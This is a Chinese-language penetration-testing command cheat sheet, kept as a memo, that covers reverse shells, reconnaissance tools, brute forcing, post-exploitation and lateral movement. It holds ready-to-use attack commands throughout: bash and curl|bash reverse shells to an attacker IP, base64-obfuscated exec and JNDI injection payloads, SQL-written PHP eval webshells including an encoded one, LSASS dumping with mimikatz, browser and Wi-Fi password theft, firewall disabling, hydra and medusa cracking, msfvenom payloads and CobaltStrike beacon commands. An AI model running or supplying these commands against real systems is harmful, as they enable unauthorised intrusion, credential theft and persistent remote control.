常用命令速查
常用命令速查(非原创,仅做备忘录)
建议配合CTRL+F
进行查询
目录
反弹Shell
常用反弹shell方式如下(bash/curl/http),其他反弹shell方式参考:Click Here
bash
bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
curl
攻击方:
cat bash.html
/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
被控端:
curl 192.168.35.152/bash.html|bash
http
攻击方:
# 编写shell脚本并启动http服务器
echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.sh
python2环境下:python -m SimpleHTTPServer 80
python3环境下:python -m http.server 80
被控端:
# 上传shell.sh文件
wget 192.168.35.152/shell.sh
# 执行shell.sh文件
bash shell.sh
java
java.lang.Runtime.exec() Payload:https://www.bugku.net/runtime-exec-payloads/
# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'
URLencode bypass:
# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1
bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'
ssh无记录shell
ssh -T root@1.1.1.1 /usr/bin/bash -i
python交互shell
python2 -c 'import pty;pty.spawn("/bin/sh")'
python3 -c "import pty;pty.spawn('/bin/bash')"
图片马制作
copy 1.jpg/b+1.php/a 2.jpg
按首字母排序
AlliN
# 按域名爬取
python AlliN.py --host $host -m subscan --project $project --timeout 6
# 按文件爬取
python AlliN.py -f domain.txt
Arjun
# Scan a single URL
arjun -u https://api.example.com/endpoint
# Specify HTTP method
arjun -u https://api.example.com/endpoint -m POST
# Import targets
arjun -i targets.txt
# Export result
arjun -u https://api.example.com/endpoint -oJ result.json
-----------------
-oJ result.json
-oT result.txt
-oB 127.0.0.1:8080
dirsearch
# 选项
-u 目标
-e 文件扩展名
-x 排除状态码结果
-w 指定字段
-r 递归扫描
-R 设置递归级别
-t 设置线程数(50-100)
-c cookie
# 默认字典
python3 dirsearch.py -u https://target
# 自定义字典
python3 dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
# 配置代理
python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://1.1.1.1:8080
dirmap
# 单目标
python dirmap.py -i https://target.com -lcf
python dirmap.py -i 192.168.1.1 -lcf
# 子网
python dirmap.py -i 192.168.1.0/24 -lcf
# 网络范围
python dirmap.py -i 192.168.1.1-192.168.1.100 -lcf
# 文件读取
python dirmap.py -iF targets.txt -lcf
EHole
# 系统指纹探测
# 本地识别
EHole -l url.txt //URL地址需带上协议,每行一个
# FOFA识别
EHole -f 192.168.1.1/24 //支持单IP或IP段
# 结果输出
EHole -l url.txt -json export.json //结果输出至export.json文件
ENScan_GO
# 企业信息收集
ENScanPublic_amd64_linux -n 小米
# 备案信息获取
ENScanPublic_amd64_linux -n 小米 -field website
find
# 查看拥有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
# find结合set权限位提权
find /usr/bin/vim -exec "whoami" \;
# 全盘查找含有 flag 的文件
grep flag -r /
# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip
# 查找包含关键字的文件
find /etc -type f | xargs -I {} grep -l server {}
Linux找目录
# 写文件(www同目录)
find /root -name www|while read file;do sh -c "echo $file">$(dirname $file)/dir.txt;done
# 写文件(www目录下)
find /root -name www|while read file;do sh -c "echo $file">$file/dir.txt;done
# 删文件(www同目录)
find /root -name www|while read file;do sh -c "rm $(dirname $file)/dir.txt";done
# 删文件(www目录下)
find /root -name www|while read file;do sh -c "rm $file/dir.txt";done
Windows找目录
# 写文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (echo %i > %i\..\dir.txt)
# 写文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (echo %i > %i\dir.txt)
# 删文件(www同目录)
for /f %i in ('dir /s /b C:\Users\whoami\www.txt') do (del %i\..\dir.txt)
# 删文件(www目录下)
for /f %i in ('dir /s /b C:\Users\whoami\www') do (del %i\dir.txt)
fscan
fscan -hf hosts.txt --nopoc -t 100
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 -p 8000-9000 (指定端口扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
grep
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r / --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" fold/
grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
hping3
重要端口
21,22,23,53,80,111,389,443,445,512,873,1433,1521,2049,2181,2375,3306,3389,4848,5432,5601,5672,5900,5984,6379,7001,8000-9000,9060,9092,9200,9300,10000,10051,11211.20880,27017,28017,50030,50070
8080,8081,8089,8090,8095,8161,8888,8983,9000
hping3 -S 1.1.1.1 --scan 1-65535
hydra
# 选项
-l 指定的用户名 -L 用户名字典
-p 指定密码 -P 密码字典
-s 指定端口
-e ns 空密码试探
-M 指定目标列表文件,一行一条
-o 输出文件
-t 任务数默认16
-f 爆破成功一个就停止
-v 报错日志详细 -V 攻击日志
hydra -L /root/user.txt -P pass.txt 1.1.1.1 mysql
hydra -L /root/user.txt -P pass.txt 1.1.1.1 ssh -s 22 -t 4
hydra -L /root/user.txt -P pass.txt 1.1.1.1 rdp -V
hydra -L /root/user.txt -P pass.txt 1.1.1.1 smb -vV
hydra -L /root/user.txt -P pass.txt ftp://1.1.1.1
# 破解SSH
hydra -l 用户名 -P 密码字典 -t 线程 -vV -e ns -M IP列表文件 ssh
# 破解RDP
hydra -l 用户名 -P 密码字典 -t 线程 -vV -M IP列表文件 rdp
# 破解FTP
hydra -l 用户名 -P 密码字典 -t 线程(默认16) -vV IP地址ftp
JNDI
# https://github.com/welk1n/JNDI-Injection-Exploit
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
# https://github.com/WhiteHSBG/JNDIExploit
GET /solr/admin/cores?action=${jndi:ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3} HTTP/1.1
-------------
/ateam pass1024
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ls" -A "127.0.0.1"
# java.lang.Runtime.exec() Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "127.0.0.1"
ksubdomain
# 使用内置字典爆破
ksubdomain -d seebug.org
# 使用字典爆破域名
ksubdomain -d seebug.org -f subdomains.dict
# 字典里都是域名,可使用验证模式
ksubdomain -f dns.txt -verify
mysql
不登录直接执行sql语句
mysql -uroot -ppassword test -e "select now()" -N > test.txt
mysql -uroot -e "show databases;" > test.txt
getshell
show variables like '%secure%'
select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';
select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';
set global general_log=on;
set global general_log_file='/var/www/1.php';
select '<?php eval($_POST[s6]) ?>';
select '<?php file_put_contents("index.php",base64_decode("Jmx0Oz9waHANCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpzZXNzaW9uX3N0YXJ0KCk7DQogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IA0KCSRfU0VTU0lPTlsmIzM5O2smIzM5O109JGtleTsNCgkkcG9zdD1maWxlX2dldF9jb250ZW50cygicGhwOi8vaW5wdXQiKTsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgmIzM5O29wZW5zc2wmIzM5OykpDQoJew0KCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7DQoJCSRwb3N0PSR0KCRwb3N0LiIiKTsNCgkJDQoJCWZvcigkaT0wOyRpJmx0O3N0cmxlbigkcG9zdCk7JGkrKykgew0KICAgIAkJCSAkcG9zdFskaV0gPSAkcG9zdFskaV1eJGtleVskaSsxJjE1XTsgDQogICAgCQkJfQ0KCX0NCgllbHNlDQoJew0KCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsNCgl9DQogICAgJGFycj1leHBsb2RlKCYjMzk7fCYjMzk7LCRwb3N0KTsNCiAgICAkZnVuYz0kYXJyWzBdOw0KICAgICRwYXJhbXM9JGFyclsxXTsNCgljbGFzcyBDe3B1YmxpYyBmdW5jdGlvbiBfX2ludm9rZSgkcCkge2V2YWwoJHAuIiIpO319DQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7DQo/Jmd0Ow0K"));?>' into outfile 'C:/www/index.php';
medusa
# 语法规则
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] -M module
# 选项
-h 目标名或IP -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql
# MySQL破解
medusa -h ip -u sa -P pass.txt -t 5 -f -M mssql
# SSH破解
medusa -H host.txt -U user.txt -p password -M ssh
nmap
- 内网尽量不要使用nmap,用hping3代替
# 选项
-sn 只做 PING 扫描,不做端口扫描
-sV 探测开放的端口的系统/服务信息
-sP PING 扫描(打印出对 PING 扫描做出响应的主机,不进行进一步测试,无法用于端口扫描)
-sT TCP Connect 扫描
-sS TCP SYN 扫描
-sU UDP 扫描
--script=<Lua scripts> 指定脚本名称
nmap -sn 1.1.1.0/24
nmap -sV 1.1.1.1 -p 8080
nmap -p445 1.1.1.1 --script smb-vuln-ms17-010
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p 1-65535 -iL ip.txt -oX output.xml
OneForAll
python oneforall.py --target example.com run
python oneforall.py --targets ./example.txt run
sqlmap
# 选项
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件
--dump 转储数据库表项
python sqlmap.py -u "https://www.xxx.com/post.php?id=1" --proxy "http://127.0.0.1:1080"
python sqlmap.py -u "http://www.xxx.com" –cookie "id=11" --level 2
python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3
python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql --dbs
python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test --tables
python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test -T admin –-columns
python sqlmap.py -u "http://www.xxx.com/post.php?id=1" --dbms mysql -D test -T admin -C "username,password" --dump
python sqlmap.py -r "c:\url.txt" -p id –dbms mysql –file-read="C:/example.exe"
TideFinger
python TideFinger.py -u http://192.168.0.1:8080/
Xray
# 网络扫描
.\xray_windows_386.exe webscan --listen 127.0.0.1:7777 --html-output xray.html
# 服务扫描
.\xray_windows_386.exe servicescan --target 1.1.1.1:8080
# 指定插件
xray webscan --plugins cmd-injection,sqldet --url http://example.com
xray webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
内网信息收集
重要端口及服务
port | service | description |
---|---|---|
21 | FTP | FTP控制端口,检查匿名登录、弱口令 |
22 | SSH | SSH远程登录协议,检查弱口令 |
23 | Telnet | Telnet终端仿真协议 |
53 | DNS服务 | |
80 | Web | 检查常见Web漏洞及管理后台 |
111 | NFS | 网络文件系统 |
389 | LDAP | 轻型目录访问协议,检查是否存在匿名访问 |
443 | OpenSSL | 检查心脏滴血及Web漏洞 |
445 | SMB | 检查是否存在MS17-010、MS08-067漏洞 |
512 | Rexec | 检查远程shell命令及暴力破解 |
873 | Rsync | 检查匿名登录、弱口令 |
1433 | SQL Server | 数据库服务 |
1521 | Oracle | 数据库服务 |
2049 | NFS | NFS未授权访问 |
2181 | Zookeeper | 分布式协调系统 |
2375 | Docker Remote | API未授权访问 |
3306 | MySQL | 数据库服务 |
3389 | RDP | 远程桌面 |
4848 | GlassFish | 未授权访问 |
5432 | PostgreSQL | 数据库服务 |
5601 | Kibana | 开源分析及可视化平台 |
5672 | RabbitMQ | 开源消息队列服务软件 |
5900 | VNC | 远程桌面控制软件,检查弱口令 |
5984 | CouchDB | 数据库服务 |
6379 | Redis | 数据库服务 |
7001 | Weblogic | Weblogic Console默认端口 |
8000-9090 | Web | 常见Web端口,运维一般将管理后台开在这些非80端口上 |
8080 | Jenkins | |
8080 | Kubernetes Api Server | |
8081 | Apache-Flink | |
8089 | Druid | |
8090 | Confluence | |
8095 | Atlassian Crowd | |
8161 | Active MQ | |
8888 | Jupyter Notebook | |
8983 | Solr | |
9000 | Fast-CGI | 对外访问可直接Get shell |
9060 | Websephere | 管理端口 |
9092 | Kafka | 开源流处理平台 |
9200 | Elasticsearch(http) | 全文搜索引擎 |
9300 | Elasticsearch(tcp) | 全文搜索引擎 |
10000 | Virualmin/Webmin | 服务器虚拟主机管理系统 |
10051 | Zabbix | 监控系统 |
11211 | Memcache | 分布式高速缓存系统,检查未授权访问 |
20880 | Dubbo | 阿里巴巴开源分布式服务框架 |
27017 | MongoDB | 数据库服务 |
28017 | MongoDB | 数据库服务(统计页面) |
50030 | Hadoop Hive | |
50070 | Hadoop |
Windows信息收集
查找文件 find/findstr
# 全盘查找文件,一定要加一个星号
for /r c:\ %i in (password.txt*) do @echo %i
for /r c:\ %i in (*.ini) do @echo %i
# 查找 C 盘中包含 password 字样的文件,一定要双引号
findstr /s /n "password" c:\*
# 查找 pwd.txt 中是否包含 password 字样,一定要双引号
find /N /I "password" pwd.txt
设置活动代码页编号 chcp
chcp 65001
查看系统信息 systeminfo
# 查看全部信息
systeminfo
# 查看英文版操作系统和版本信息
systeminfo | findstr /B /C:"OS name" /C:"OS Version"
# 查看中文版操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
# 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看环境变量 set
set
查看网络配置信息 ipconfig
- 域内的DNS服务器即域控。
ipconfig /all
查看当前用户信息 whoami
whoami /all
查看路由表 route
route print
查看arp缓存表 arp
arp -a
查看用户信息 net user/localgroup
- 通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。
# 查看指定用户信息
net user
# 查看本地组信息
net localgroup
# 查看本地管理员用户
net localgroup administrators
# 查看当前在线用户
query user || qwinsta
查看主机开启时间 net statistics
net statistics workstation
查看安装软件及版本信息 wmic product
wmic product get name,version
利用PowerShell收集软件版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
查看本机服务信息 wmic service
wmic service list brief
查看补丁信息 wmic qfe
# 查看补丁信息
wmic qfe list
# 查看补丁列表
wmic qfe get Caption,Description,HotFixID,InstalledOn
metasploit enum_patches
meterpreter > run post/windows/gather/enum_patches
windows exploit suggester
$ activate py27
$ python windows-exploit-suggester.py --update
$ pip install xlrd==1.2.0 -i https://pypi.tuna.tsinghua.edu.cn/simple
$ python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo systeminfo.txt
查看共享列表 wmic share
wmic share get name,path,status
查看进程列表 tasklist
# 查看进程列表
tasklist
# 查看当前进程列表所对应的用户身份
tasklist /v
# 查看是否有杀软
tasklist /svc
查看计划任务 schtasks
通过查看本机计划任务就能知道当前机器上某个时间会运行哪些软件了,就可以利用这一点来做定时任务劫持。
schtasks /query /fo LIST /v
查看端口信息 netstat
netstat -ano
查看防火墙配置 netsh
# 关闭防火墙
netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统之后版本)
# 查看防火墙配置
netsh firewall show config
# 修改防火墙配置(Windows Server 2003 系统及之前版本)
# 允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
# 修改防火墙配置(Windows Server 2003 之后系统版本)
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查看wifi信息
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查看网络代理信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查看PPTP配置信息
Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令。
查看RDP远程桌面信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
查看数据库密码
cd /web
findstr /s /m "password" *.*
查看服务信息 sc query
sc query
导出注册表信息 reg
reg export HKLM hklm.reg
reg export HKCU hkcu.reg
导出日志信息
- 导出到本地使用LogParser查看:
copy C:\Windows\System32\winevt\Logs\System.evtx
copy C:\Windows\System32\winevt\Logs\security.evtx
copy C:\Windows\System32\winevt\Logs\application.evtx
查看hosts文件
C:\Windows\System32\drivers\etc\hosts
查看中间件信息
# 列出网站列表
%windir%\system32\inetsrv\AppCmd.exe list site
# 列出网站物理路径
%systemroot%\system32\inetsrv\appcmd.exe list vdir
查看组策略 gpresult
# 生成组策略报表
gpresult /h <filename> htm
查看启动项
# 使用注册表查询
reg query HKLM\Software\Microsoft\Windows\CurrentVertion\Run
抓取密码 mimikatz
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
浏览器密码
Chrome中保存的密码先被二次加密,然后被保存在SQLite数据库文件中,位置如下:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
可以使用USBStealter导出浏览器历史记录以及密码。或者使用https://github.com/AlessandroZ/LaZagne:
LaZagne.exe browsers-chrome
此工具也支持firefox以及系统中其他密码的导出。
查看回收站
cd C:\$Recycle.Bin\,使用dir /A查看隐藏文件
S-1 xxx 分别对应不同用户的回收站
procdump dump csrss.exe进程
查看域信息 nltest/net
# 查看域控
nltest /dsgetdc:域名
nltest /dclist:domain-a
# 查看域之间的信任关系
nltest /domain_trusts
# 查看域用户
net user /domain
# 查看域用户组
net group /domain
# 查看域管理组成员
net group "domain admins" /domain
# 查看管理员登陆时间、密码过期时间,是否有登陆脚本、组分配等信息
net user domain-admin /domain
# 查看域时间及域服务器名字,/domain只能是在域机器上执行 workgroup工作组不能执行
net time /domain
-------------------
此命令有三种情况:
1). 存在域,当前不是域用户
显示: 发生系统错误5. 拒绝访问
2). 存在域,当前用户是域用户
显示: 域,和当前被害人机器上的时间
3). 不存在域
显示: 找不到域 workgroup的域控制器,请键入net help....
Linux信息收集
操作系统基本信息
uname -a # 打印所有可用信息
uname -r # 内核版本信息
uname -n # 系统主机名字
uname -m # Linux内核架构
hostname # 主机名
cat /proc/version # 内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
cat /proc/cpuinfo # cpu信息
df -a # 文件信息
系统环境信息
env # 输出系统环境信息
set # 打印系统环境信息
echo $PATH # 输出环境变量中的路径信息
history # 打印历史命令
pwd # 当前路径
cat /etc/profile # 显示默认系统环境变量
cat /etc/shells # 显示可用的shell
系统服务信息
ps -aux # 查看进程信息
top # 当前进程
netstat -anptu # 查看当前交互端口
系统软件信息
dpkg -l # 查看已经安装的软件列表(debian/ubuntu)
rpm -qa # 查看已经安装的软件列表(redhat/centos)
通常程序都是通过-v或-V参数来获取版本信息,例如:
sudo -V
程序的一些配置文件路径,通常为.conf
、.ini
或其他后缀结尾:
/etc/apache2/apache2.conf # apache默认配置文件
/usr/local/nginx/conf/nginx.conf # nginx默认配置文件
/usr/local/app/php5/lib/php.ini # php默认配置文件
/etc/my.cnf # mysql配置文件
/var/log/ # log目录下记录各种软件执行的日志
系统任务和作业
crontab # 计划任务管理
/etc/crontab # 计划任务配置文件(可能记录了用户自行添加的任务)
jobs -l # 列出后台作业
ls /etc/cron* # 列出计划任务
crontab -l -u用户名
,不加-u
默认列出当前用户的计划任务,加-u
列出指定用户的计划任务(需要root权限)
用户信息和组信息
cat /etc/passwd # 查看系统所有用户
grep -v -E "^#" /etc/passwd | awk -F: '$3==0{print $1}' # 查看超级用户
cat /etc/group # 查看系统所有组
cat /etc/shadow # 查看系统所有用户的hash(需要root权限)
users # 查看当前登陆的用户
who -a # 查看当前登陆的用户
w # 查看当前登陆的用户有那些人,以及它们执行的程序
last # 显示登陆用户的信息
lastlog # 显示系统中所有用户最近一次登陆的信息
lastlog -u %username% # 有关指定用户上次登录的信息
lastlog | grep -v "Never" # 以前登录用户的信息
用户和权限信息
whoami # 查看当前用户
id # 列出当前用户详细信息
cat /etc/sudoers # 查看可以提升到root权限的用户
sudo -l # 列出当前用户可执行和不可执行的命令
系统网络和路由信息
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 列出系统arp表
route # 打印路由信息
cat /etc/resolv.conf # 查看dns配置信息
netstat -an # 打印本地开放信息
iptables -L # 列出iptables配置规则
cat /etc/services # 查看端口服务应黑
cat /etc/hosts # hosts文件信息
获取其他信息
# 查找拥有SUID的文件
find / -perm -4000 -type f
# 查找root权限的SUID文件
find / -uid 0 -perm -40^0 -type f
# 查找可写目录
find / -perm -2 -type d
# 查看当前用户的历史记录
cat ~/.bash_history
# 查看用户ssh登陆信息
ls ~/.ssh/
# 查找备份压缩包文件
find / -name *.tar.gz或find / -name *.zip
# 查找filename.ext文件
find / -name filename.ext
# 全盘查找含有 flag 的文件
grep flag -r /
域内信息收集
判断是否存在域
ipconfig
# 查看网关IP地址、DNS IP地址、域名、本机是否和DNS服务器处于同一网段
ipconfig /all
# 解析域名IP地址,查看是否与DNS服务器为同一IP
nslookup test.com
查看系统详细信息 systeminfo
systeminfo | findstr 域
查看当前登录域与域用户 netconfig
net config workstation | findstr 域
判断主域 net time
net time /domain
收集域内基础信息
查看域 net view
net view /domain
查看域内计算机 net view
net view /domian:domain_name
查看域内用户组列表 net group
net group /domain
查看域管理员列表 net group
net group "domain admins" /domain
查看企业管理员列表 net group
net group "enterprise admins" /domain
查看域内置administrator组用户
net localgroup administrators /domain
查看域密码策略信息 net accounts
密码长短、错误锁定等信息。
net accounts /domain
查看域信任信息 nltest
nltest /domain_trusts
收集域用户和管理员信息
查询域用户列表 net user
net user /domain
查询域用户详细信息 wmic useraccount
wmic useraccount get /all
net user someuser /domain
查询存在的用户
dsquery user
收集域控制器信息
查看域控主机名
nltest /DCLIST:npc
nslookup -type=SRV _ladp._tcp
netdom query pdc
查看域控制器列表 net group
net group "domain controllers" /domain
查找域管理员进程
获取域管理员列表
net group "domain admins" /domain
列出本机的所有进程及进程用户
tasklist /v
定位域管理员
psloggedon查询
直接运行该程序即可:
> Psloggedon.exe
netview查询
netview.exe -d
netview参数:
-f filename.txt:指定要提取主机列表的文件
-e filename.txt:指定要排除的主机名的文件
-o filename.txt:将所有输出重定向到指定的文件
-d domain:指定要提取主机列表的域
-g group:指定要搜索的组名
-c:对已经找到的共享目录/文件的访问权限进行检查
内网穿透代理
Neo-reGeorg
- 攻击机生成tunnel.(aspx|ashx|jsp|jspx|php) 并上传Web Server 1.1.1.1
python neoreg.py generate -k password
- 攻击机通过neoreg.py连接Web Server
python neoreg.py -k password -u http://1.1.1.1/tunnel.jsp
- 配置本地代理访问内网服务
SOCKS5 127.0.0.1 1080
ssh
将对A:X的访问转变成对C:Z的访问
ssh -L 主机A端口X:主机C:主机C端口Z -N -f username@hostname
# 例如
ssh -L 27689:192.168.20.100:27689 -N -f root@172.16.0.10
nps
- 攻击机启动服务,新增client,新增socks5
sudo -s
./nps install
./nps
- 上传nps client,根据给出的命令连接nps server
# Windows客户端
.\npc.exe -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp
# Linux客户端
.\npc -server=1.1.1.1:8024 -vkey=ihmtyta4i4f3rm3z -type=tcp
frp
- 根据配置文件frps.ini运行服务端
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = <your-password-here>
./frps -c frps.ini
- 根据配置文件frpc.ini运行客户端
[common]
server_addr = <your-vps-ip-here>
server_port = 7000
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 9001
./frpc -c frpc.ini
- msf生成木马/behinder3生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your-vps-ip-here> LPORT=9001 -f exe > shell.exe
- msf监听反弹shell
msf > use exploit/multi/handler
# 监听windows shell
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
# 监听behinder3 shell
msf exploit(multi/handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 127.0.0.1
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > run
内网权限提升
Windows系统提权
Windows-Exploit-Suggester进行缺失补丁信息收集:
python windows-exploit-suggester.py --database 2022-03-16-mssb.xls --systeminfo win7_systeminfo.txt
通过补丁信息判断当前系统是否可以通过以下内核漏洞进行提权:
- CVE-2019-0803
- CVE-2018-8120
- CVE-2018-8440
Linux系统提权
查找系统中存在suid的可执行文件:
find / -perm -u=s -type f 2>/dev/null
通过存在suid的命令在root权限下执行其他命令:
# 写入webshell
find /var/www/html -exec touch update.php ;
find /var/www/html -exec echo ‘<?php @eval($_POST['shell']);?>’ > update.php ;
# 查找/etc/目录下包含password的文件
find /var/www/html -exec find / -type f | xargs -I {} grep -l password {} ;
内网渗透工具
CobaltStrike
团队服务器启动CS服务,注意修改teamserver端口号,默认为50050:
./teamserver 1.1.1.1 password
beacon命令:
argue 进程参数欺骗
blockdlls 阻止子进程加载非Microsoft DLL
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC提升权限
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程桌面(VNC)
dllinject 反射DLL注入进程dll
load 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 使用exp
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 终止beacon会话
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在注入进程生成会话
jobkill 结束一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从cache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use Apply 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以其他用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell 执行cmd命令
shinject 将shellcode注入进程
shspawn 启动一个进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestamp 将一个文件的时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM横向渗透
wmi 使用WMI横向渗透
Metasploit
msfconsole常用命令:
reload_all #从目录重载所有模块
back #后退命令,移出当前上下文,用于模块切换
info #目标和模块详细信息
check #检查目标是否受某个漏洞影响
background #切到后台
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
show options #显示可选选项
